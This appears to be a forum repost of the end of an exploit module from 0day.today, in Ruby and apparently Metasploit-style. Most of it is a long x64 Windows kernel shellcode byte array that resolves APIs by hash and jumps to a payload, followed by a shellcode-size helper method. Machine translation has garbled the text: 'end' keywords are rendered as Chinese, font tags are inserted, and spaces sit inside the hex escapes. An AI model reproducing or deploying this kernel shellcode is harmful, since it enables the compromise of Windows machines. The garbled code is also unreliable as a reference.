    “ \ x89 \ xd4 \ x31 \ xd2 \ x80 \ xc2 \ x90 \ x31 \ xc9 \ x41 \ xbb \ x26 \ xac \ x50 \ x91 \ xe8”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xc8 \ x00 \ x00 \ x00 \ x48 \ x89 \ xc1 \ x4c \ x8d \ x89 \ x80 \ x00 \ x00 \ x00 \ x41 \ xc6”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x01 \ xc3 \ x4c \ x89 \ xe2 \ x49 \ x89 \ xc4 \ x4d \ x31 \ xc0 \ x41 \ x50 \ x6a \ x01 \ x49”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x8b \ x06 \ x50 \ x41 \ x50 \ x48 \ x83 \ xec \ x20 \ x41 \ xbb \ xac \ xce \ x55 \ x4b \ xe8”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x98 \ x00 \ x00 \ x00 \ x31 \ xd2 \ x52 \ x52 \ x41 \ x58 \ x41 \ x59 \ x4c \ x89 \ xe1 \ x41”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xbb \ x18 \ x38 \ x09 \ x9e \ xe8 \ x82 \ x00 \ x00 \ x00 \ x4c \ x89 \ xe9 \ x41 \ xbb \ x22”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xb7 \ xb3 \ x7d \ xe8 \ x74 \ x00 \ x00 \ x00 \ x48 \ x89 \ xd9 \ x41 \ xbb \ x0d \ xe2 \ x4d”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x85 \ xe8 \ x66 \ x00 \ x00 \ x00 \ x48 \ x89 \ xec \ x5d \ x5b \ x41 \ x5c \ x41 \ x5d \ x41”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x5e \ x41 \ x5f \ x5e \ xc3 \ xe9 \ xb5 \ x00 \ x00 \ x00 \ x4d \ x31 \ xc9 \ x31 \ xc0 \ xac” \</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x41 \ xc1 \ xc9 \ x0d \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xec \ xc3 \ x31 \ xd2 \ x65 \ x48 \ x8b \ x52 \ x60 \ x48 \ x8b \ x52 \ x18 \ x48 \ x8b \ x52”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x20 \ x48 \ x8b \ x12 \ x48 \ x8b \ x72 \ x50 \ x48 \ x0f \ xb7 \ x4a \ x4a \ x45 \ x31 \ xc9”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x31 \ xc0 \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xe2 \ xee \ x45 \ x39 \ xd9 \ x75 \ xda \ x4c \ x8b \ x7a \ x20 \ xc3 \ x4c \ x89 \ xf8 \ x41”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x51 \ x41 \ x50 \ x52 \ x51 \ x56 \ x48 \ x89 \ xc2 \ x8b \ x42 \ x3c \ x48 \ x01 \ xd0 \ x8b”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x80 \ x88 \ x00 \ x00 \ x00 \ x48 \ x01 \ xd0 \ x50 \ x8b \ x48 \ x18 \ x44 \ x8b \ x40 \ x20”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x49 \ x01 \ xd0 \ x48 \ xff \ xc9 \ x41 \ x8b \ x34 \ x88 \ x48 \ x01 \ xd6 \ xe8 \ x78 \ xff”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xff \ xff \ x45 \ x39 \ xd9 \ x75 \ xec \ x58 \ x44 \ x8b \ x40 \ x24 \ x49 \ x01 \ xd0 \ x66”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x41 \ x8b \ x0c \ x48 \ x44 \ x8b \ x40 \ x1c \ x49 \ x01 \ xd0 \ x41 \ x8b \ x04 \ x88 \ x48”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x01 \ xd0 \ x5e \ x59 \ x5a \ x41 \ x58 \ x41 \ x59 \ x41 \ x5b \ x41 \ x53 \ xff \ xe0 \ x56”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x41 \ x57 \ x55 \ x48 \ x89 \ xe5 \ x48 \ x83 \ xec \ x20 \ x41 \ xbb \ xda \ x16 \ xaf \ x92”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ xe8 \ x4d \ xff \ xff \ xff \ x31 \ xc9 \ x51 \ x51 \ x51 \ x51 \ x41 \ x59 \ x4c \ x8d \ x05”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x1a \ x00 \ x00 \ x00 \ x5a \ x48 \ x83 \ xec \ x20 \ x41 \ xbb \ x46 \ x45 \ x1b \ x22 \ xe8”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    “ \ x68 \ xff \ xff \ xff \ x48 \ x89 \ xec \ x5d \ x41 \ x5f \ x5e \ xc3”</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  def kernel_shellcode_size</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
    make_kernel_shellcode('')。length</font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
  结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
结束</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
#0day.today [2020-03-20]#</font></font>

 

  • Agree! 1
Link to comment
Share on other sites

  • 1 month later...

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now